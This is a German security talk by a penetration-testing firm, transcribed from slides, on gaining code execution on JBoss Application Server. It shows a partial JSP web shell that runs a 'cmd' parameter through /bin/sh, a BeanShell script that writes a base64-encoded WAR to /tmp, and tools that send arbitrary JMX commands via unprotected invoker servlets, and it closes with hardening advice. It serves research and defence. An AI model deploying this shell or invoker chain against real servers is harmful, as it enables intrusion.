Bridging the Gap between the Enterprise and You { or { Who's the JBoss now?

Transkript

1 { or { Who's the JBoss now? Patrick Hof (patrick.hof@redteam-pentesting.de) Jens Liebchen (jens.liebchen@redteam-pentesting.de) RedTeam Pentesting GmbH Ruhr-Universitat Bochum { Lehrstuhl fur Netz- und Datensicherheit, 21. April 2010

2 Wer wir sind Wer wir nicht sind RedTeam Pentesting, Daten & Fakten F Gegrundet 2004 F Spezialisierung ausschlielich auf Penetrationstests F Forschungsarbeit im IT-Sicherheitsbereich

3 Wer wir sind Wer wir nicht sind Wer wir nicht sind F Java (Enterprise)-Experten F Beispiel-Programme sind in JRuby geschrieben... F JBoss Application Server-Experten F JBoss AS ist eine komplexe Unternehmenssoftware F Viele Komponenten wurden gar nicht betrachtet

4 Uberblick Warum JBoss AS als Angrisziel? JBoss AS Uberblick Der JBoss Application Server ist eine quelloene Implementierung der Java EE Softwarearchitektur.[... ] Seine einfach zu benutzende Serverarchitektur und die hohe Flexibilitat machen JBoss die ideale Wahl fur Benutzer die gerade mit J2EE anfangen, genauso wie erfahrene Softwarearchitekten die nach einer anpassbaren Middleware-Plattform suchen. (Ubersetzt aus dem JBoss AS Installation and Getting Started Guide)

5 Uberblick Warum JBoss AS als Angrisziel? JBoss AS Uberblick

6 Uberblick Warum JBoss AS als Angrisziel? JBoss AS JMX-Architektur

7 Uberblick Warum JBoss AS als Angrisziel? Warum JBoss AS? Warum ist der JBoss Application Server als Angrisziel interessant? F Unternehmenssoftware F Komplex F Weit verbreitet

8 Uberblick Warum JBoss AS als Angrisziel? Warum JBoss AS?

9 Alle Beispiele wurden unter den folgenden Voraussetzungen getestet: F JBoss AS Version: GA (zur Testzeit neueste stabile Community Edition) F Konguration basierend auf der mit JBoss AS mitgelieferten default (Standard-) Konguration (mit wachsend restriktiverem Zugang) F Geonet nach extern durch Binden des JBoss AS an alle Schnittstellen: -b

10 F \Live"-Ansicht des JBoss AS F Direkter Zugri auf den JMX Microkernel und die Komponenten des Servers F Anpassen der Konguration, Starten/Stoppen von Komponenten, Ausfuhren von MBean-Methoden etc.

11 Ziel: Code Execution F Ausfuhren von eigenem Code auf dem JBoss AS F Einfachster Weg: Installieren eines WAR (Web ARchive) redteam.war -- META-INF `-- MANIFEST.MF -- WEB-INF `-- web.xml `-- redteam-shell.jsp

12 redteam-shell.jsp 1 <%@ page i m p o r t=" j a v a. u t i l., j a v a. i o., [... ] "%> 2 [... ] 3 i f ( r e q u e s t. g e t P a r a m e t e r ( "cmd" )!= n u l l ) f 4 [... ] 5 cmdary = new S t r i n g [ ] f"/ b i n / sh ", " c ", cmd g ; 6 g 7 P r o c e s s p = Runtime. getruntime ( ). e x e c ( cmdary ) ; 8 OutputStream os = p. getoutputstream ( ) ; 9 I n p u t S t r e a m i n = p. g e t I n p u t S t r e a m ( ) ; 10 DataInputStream d i s = new DataInputStream ( i n ) ; 11 S t r i n g d i s r = d i s. r e a d L i n e ( ) ; 12 w h i l e ( d i s r!= n u l l ) f 13 out. p r i n t l n ( d i s r ) ; 14 d i s r = d i s. r e a d L i n e ( ) ; 15 g 16 [... ]

13 web.xml 1 <? xml v e r s i o n=" 1. 0 "?> 2 <web app 3 xmlns=" h t t p : // j a v a. sun. com/ xml / ns / j 2 e e " 4 x m l n s : x s i=" h t t p : //www. w3. o r g /2001/XMLSchema i n s t a n c e " 5 x s i : s c h e m a L o c a t i o n=" h t t p : // j a v a. sun. com/ xml / ns / j 2 e e 6 h t t p : // j a v a. sun. com/ xml / ns / j 2 e e / 7 web a p p 2 4. x s d " 8 v e r s i o n=" 2. 4 "> 9 < s e r v l e t> 10 <s e r v l e t name>redteam S h e l l</ s e r v l e t name> 11 <j s p f i l e> 12 / redteam s h e l l. j s p 13 </ j s p f i l e> 14 </ s e r v l e t> 15 </web app>

14 Deployment MBeans Die Deployment MBeans installieren die verschiedenen unterstutzten Komponenten-Dateien: EAR, WAR, EJB... Interessanteste Deployment MBeans (im Moment): MainDeployer Einstiegspunkt fur JBoss AS-Deployments. Delegiert die ubergegebenen Archive an den verantwortlichen Subdeployer. DeploymentScanner JBoss AS " Hot Deployment\-Service. Uberwacht eine oder mehrere URLs auf unterstutzte Archive und installiert diese, sobald sie verfugbar sind oder sich geandert haben.

15 Was kann man machen, wenn die passwortgeschutzt ist?

16 Was kann man machen, wenn die passwortgeschutzt ist? Ok, zuerst, admin/admin versuchen...

17 Java Remote Method Invocation! Ausfuhren von Java-Objekt-Methoden uber das Netz JNDI: Java Naming and Directory Interface! Wird von RMI benutzt, um Objekte zu nden ) Wenn die JBoss RMI-Komponenten verfugbar sind, konnen diese anstatt der benutzt werden, um alle JBoss AS-MBeans uber RMI zu kontrollieren. Standard-Ports: 4444 RMI, Naming

18 Twiddle Um JBoss AS-RMI zu benutzen kann man entweder eigene Java-Programme schreiben... oder Twiddle verwenden. sh jboss ga/bin/twiddle.sh -h A JMX client to 'twiddle' with a remote JBoss server. usage: twiddle.sh [options] <command> [command_arguments]

19 Manchmal kommt es vor, dass der JBoss AS nicht die Rechte hat, um ausgehende Verbindungen zu initiieren, etwa wegen Firewall-Restriktionen.! Nicht mehr moglich, von einer externen URL zu installieren

20 Manchmal kommt es vor, dass der JBoss AS nicht die Rechte hat, um ausgehende Verbindungen zu initiieren, etwa wegen Firewall-Restriktionen.! Nicht mehr moglich, von einer externen URL zu installieren Wie die WAR-Datei auf den Server laden?

21 Der BSH Deployer, oder BeanShell Deployer, erlaubt das Einspielen von Scripts oder sogar Services im JBoss, die einmalig ausgefuhrt werden. Scripts sind Klartext-Dateien mit der Erweiterung.bsh und konnen sogar im laufenden Betrieb eingespielt werden. Dies ermoglicht Scripting-Funktionalitat innerhalb des JBoss Servers. ( Ubersetzt von

22 Class BeanShellSubDeployer Aus der JBoss AS Class BeanShellSubDeployer Javadoc: p u b l i c URL c r e a t e S c r i p t D e p l o y m e n t ( S t r i n g b s h S c r i p t, S t r i n g s c r i p t N a m e ) throws o r g. j b o s s. deployment. D e p l o y m e n t E x c e p t i o n Create a bsh deployment given the script content and name. This creates a temp le using File.createTempFile(scriptName, ".bsh") and then deploys this script via the main deployer.

23 Beanshell-Script (mit Zeilenumbruchen) 1 i m p o r t j a v a. i o. F i l e O u t p u t S t r e a m ; 2 i m p o r t sun. misc. BASE64Decoder ; 3 4 // Base64 encoded redteam. war 5 S t r i n g v a l = "UEsDBBQACA [... ] AAAAA" ; 6 7 BASE64Decoder d e c o d e r = new BASE64Decoder ( ) ; 8 b y t e [ ] b y t e v a l = d e c o d e r. d e c o d e B u f f e r ( v a l ) ; 9 F i l e O u t p u t S t r e a m f s t r e a m = new F i l e O u t p u t S t r e a m ( 10 "/tmp/ redteam. war " ) ; 11 f s t r e a m. w r i t e ( b y t e v a l ) ; 12 f s t r e a m. c l o s e ( ) ; Einspielen von /tmp/redteam.war mit dem MainDeployer ) Fertig.

24 Web Console F Bis jetzt wurde entweder eine oene oder RMI gebraucht. F Was ist wenn a) Die passwortgeschutzt ist b) RMI nicht verfugbar ist / alles bis auf den JBoss AS durch die Firewall geschutzt wird? ) Web Console

25 Web Console F Kombination aus einem Applet und einer HTML-Ansicht des JMX-Microkernels und der Komponenten F MBean-Links zeigen auf die F Das Applet hat einige zusatzliche Fahigkeiten (z.b. Uberwachen von JMX-Attributen mit Echtzeit-Graphen)

26 Oene Web Console! Nur unnotige Preisgabe von Informationen?

27 Oene Web Console! Nur unnotige Preisgabe von Informationen? ) Falsch

28 Servlet F Die Uberwachungs-Funktionen des Web Console-Applets benutzen einen JMX Invoker F Klasse org.jboss.console.remote.invokerservlet, verlinkt unter /web-console/invoker F Das InvokerServlet ist nicht auf Uberwachungsfunktionen eingeschrankt, sondern ist ein allgemein benutzbarer JMX Invoker ) Erlaubt das Senden beliebiger JMX-Kommandos an das Servlet

29 $ j r u b y w e b c o n s o l e i n v o k e r. r b h Usage : w e b c o n s o l e i n v o k e r. r b [ o p t i o n s ] MBean u, u r l URL The I n v o k e r URL t o u s e ( d e f a u l t : h t t p : / / l o c a l h o s t : / web c o n s o l e / I n v o k e r ) a, get a t t r ATTR Read an a t t r i b u t e o f an MBean i, i n v o k e METHOD i n v o k e an MBean method p, i n v o k e params PARAMS MBean method params s, i n v o k e s i g s SIGS MBean method s i g n a t u r e t, t e s t Test t h e s c r i p t w i t h t h e S e r v e r I n f o MBean h, h e l p Show t h i s h e l p Example usage : w e b c o n s o l e i n v o k e r. r b a OSVersion j b o s s. s y s t e m : t y p e=s e r v e r I n f o w e b c o n s o l e i n v o k e r. r b i l i s t T h r e a d D u m p j b o s s. s y s t e m : t y p e=s e r v e r I n f o w e b c o n s o l e i n v o k e r. r b i l i s t M e m o r y P o o l s p t r u e s b o o l e a n j b o s s. s y s t e m : t y p e=s e r v e r I n f o

30 Was ist wenn a) Die passwortgeschutzt ist b) RMI nicht verfugbar ist / alles bis auf den JBoss AS durch die Firewall geschutzt wird c) Die Web Console passwortgeschutzt ist?

31 Was ist wenn a) Die passwortgeschutzt ist b) RMI nicht verfugbar ist / alles bis auf den JBoss AS durch die Firewall geschutzt wird c) Die Web Console passwortgeschutzt ist? Es ist noch ein JMX Invoker ubrig...

32 F JBoss erlaubt RMI/Naming uber HTTP (HttpAdaptor) F Standardmaig deaktiviert F Aber: Der JMX Invoker fur diesen Dienst lauft F Klasse org.jboss.invocation.http.servlet.invokerservlet, verlinkt unter /invoker/ ) Erlaubt ebenfalls beliebiges Senden von JMX-Kommandos an das Servlet

33 Zu Demonstrationszwecken: 1. Aufsetzen einer JBoss AS-Instanz mit eingeschaltetem HttpAdaptor fur RMI uber HTTP 2. httpinvoker.rb: Sendet die benotigten JMX-Kommandos 3. Mitschneiden und Speichern der HTTP POST-Anfrage zum, um sie spater erneut zu senden (replay)

34 jmxinvokerservlet.rb $ r u b y j m x i n v o k e r s e r v l e t. r b h Usage :. / j m x i n v o k e r s e r v l e t. r b [ o p t i o n s ] <p a y l o a d> n, h o s t HOST Host ( d e f a u l t : l o c a l h o s t ) p, p o r t PORT P o r t ( d e f a u l t : 8080) s, s s l Use SSL ( d e f a u l t : f a l s e ) i, i n v o k e r INVOKER I n v o k e r ( d e f a u l t : / i n v o k e r / J M X I n v o k e r S e r v l e t ) d, debug Show debug i n f o r m a t i o n h, h e l p P r i n t t h i s h e l p

35 Installation einer eigenen WAR-Datei auf einem JBoss AS:

36 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen?

37 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen? ) Installieren uber den Webbrowser

38 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen? ) Installieren uber den Webbrowser F passwortgeschutzt?

39 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen? ) Installieren uber den Webbrowser F passwortgeschutzt? ) Installieren uber RMI

40 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen? ) Installieren uber den Webbrowser F passwortgeschutzt? ) Installieren uber RMI F Keine ausgehenden Verbindungen fur den JBoss AS erlaubt? ) Installieren uber den

41 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen? ) Installieren uber den Webbrowser F passwortgeschutzt? ) Installieren uber RMI F Keine ausgehenden Verbindungen fur den JBoss AS erlaubt? ) Installieren uber den F RMI geschlossen/firewall-geschutzt?

42 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen? ) Installieren uber den Webbrowser F passwortgeschutzt? ) Installieren uber RMI F Keine ausgehenden Verbindungen fur den JBoss AS erlaubt? ) Installieren uber den F RMI geschlossen/firewall-geschutzt? ) Installieren uber /web-console/invoker

43 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen? ) Installieren uber den Webbrowser F passwortgeschutzt? ) Installieren uber RMI F Keine ausgehenden Verbindungen fur den JBoss AS erlaubt? ) Installieren uber den F RMI geschlossen/firewall-geschutzt? ) Installieren uber /web-console/invoker F Web Console passwortgeschutzt?

44 Installation einer eigenen WAR-Datei auf einem JBoss AS: F oen? ) Installieren uber den Webbrowser F passwortgeschutzt? ) Installieren uber RMI F Keine ausgehenden Verbindungen fur den JBoss AS erlaubt? ) Installieren uber den F RMI geschlossen/firewall-geschutzt? ) Installieren uber /web-console/invoker F Web Console passwortgeschutzt? ) Installieren uber /invoker/

45 F Der JBoss Application Server sollte von erfahrenen Administratoren gewartet werden, auch wenn er trugerisch leicht zu installieren ist. F Die Dokumentation zu lesen ist Picht. F Besonders " Securing JBoss\!

46 Erinnerung: Verwundbare JBoss AS

47 Fragen? Vielen Dank fur Ihre Aufmerksamkeit